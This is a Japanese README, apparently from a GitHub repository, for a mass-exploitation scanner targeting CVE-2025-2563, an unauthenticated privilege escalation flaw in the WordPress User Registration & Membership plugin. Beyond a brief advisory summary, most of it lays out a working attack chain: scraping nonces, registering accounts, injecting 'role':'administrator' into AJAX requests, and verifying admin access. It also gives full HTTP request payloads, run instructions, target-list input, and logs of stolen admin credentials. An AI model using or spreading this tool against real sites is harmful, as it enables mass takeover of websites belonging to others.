
User Registration & Membership WordPress プラグイン 4.1.2 以前は、Membership Addon が有効になっている場合にユーザーが自身のアカウントロールを設定することを防げないため、特権昇格の問題が発生し、認証されていないユーザーが管理者権限を取得できるようになります。
WordPress用プラグイン「User Registration & Membership」の4.1.2より前のバージョンでは、Membership Addonが有効な場合にユーザーが自分のアカウントロールを設定することを防いでいません。これにより権限昇格の問題が発生し、認証されていないユーザーが管理者権限を取得できる可能性があります。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-2563 |
| 深刻度 | 高 — CVSS v3.1スコア: 8.1 |
| ベクター | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 影響を受けるソフトウェア | WordPress用プラグイン「User Registration & Membership」 |
| 影響を受けるバージョン | 4.1.2より前の全バージョン |
| 脆弱性の種類 | 不適切な権限管理 — 未認証による管理者アカウントの作成 |
| 必要な認証 | なし |
| CWE | CWE-269: 不適切な権限管理 |
説明:
WordPress用プラグイン「User Registration & Membership」の4.1.2より前のバージョンでは、Membership Addonが有効な場合、サーバーサイドのロール制限が適用されません。メンバーシップ登録プロセス中、プラグインはuser_registration_membership_register_member AJAXアクション内でユーザーが指定したroleフィールドを、サーバーサイドの許可リストと照合せずに受け入れます。完全に認証されていないリモート攻撃者は、細工された2段階のAJAXチェーン(まずuser_registration_user_form_submitを介して新しいユーザーアカウントを登録し、次にメンバーシップ呼び出しのmembers_dataペイロードに"role": "administrator"を注入する)を送信することで、完全な権限を持つWordPressの管理者アカウントを静かに作成できます。その結果、認証もユーザーの操作も必要とせずにサイトが完全に侵害されます。
これは、Membership Addonが有効な状態で脆弱なバージョンのUser Registration & Membershipプラグインを実行しているWordPressインストールを対象とした、概念実証(PoC)の大規模悪用スキャナーです。このツールは、自動検出、nonceの収集、コンボ方式の登録、ロールインジェクション、管理者検証を備えたインテリジェントな多段階の悪用を実行します。
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
または、requirementsファイルを使用する場合:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
このツールは、Richをベースにした完全な対話型ターミナルインターフェースを使用します。
プレーンテキストファイル(デフォルト: list.txt)を作成し、1行につき1つのターゲットを指定します:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://またはhttps://が付いていないターゲットには、自動的にhttps://が先頭に追加されます。
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
パスワードは、すべての登録試行に対して内部的に
Nx_adminSAとして固定されています。
このツールは、ターゲットごとに3つのページを自動的に調査します:
| ページ | 目的 |
|---|---|
/membership-pricing/ | membership_idと登録リンクを抽出 |
/membership-registration/ | フォームトークン、nonce、フィールドIDを抽出 |
/membership-registration/?membership_id=<id> | プラン固有のフォームを抽出 |
/registration/ | 汎用登録ページへのフォールバック |
以下のトークンは、生のHTMLとインラインJavaScriptから抽出されます:
| トークン | 取得元 |
|---|---|
_nonce | ur_membership_frontend_localized_data JSオブジェクト |
ur_frontend_form_nonce | 隠し入力フィールドまたはJSオブジェクト |
security | user_registration_params.user_registration_form_data_save |
form_id | 隠し入力 ur-user-form-id またはJSオブジェクト |
membership_id | ラジオ入力 urm_membership またはURLクエリ文字列 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
このツールは、success: trueの応答を受信するまで、検出されたsecurity、frontend_nonce、form_id、membership_idのすべての組み合わせを自動的に試行します。
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ サーバーは許可リストなしで
roleフィールドを受け入れます — これがCVE-2025-2563の根本原因です。
| ファイル | 説明 |
|---|---|
reg.txt | 資格情報付きのすべての成功した登録試行 |
Nx_admin.txt | 確認されたすべての管理者権限昇格 |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA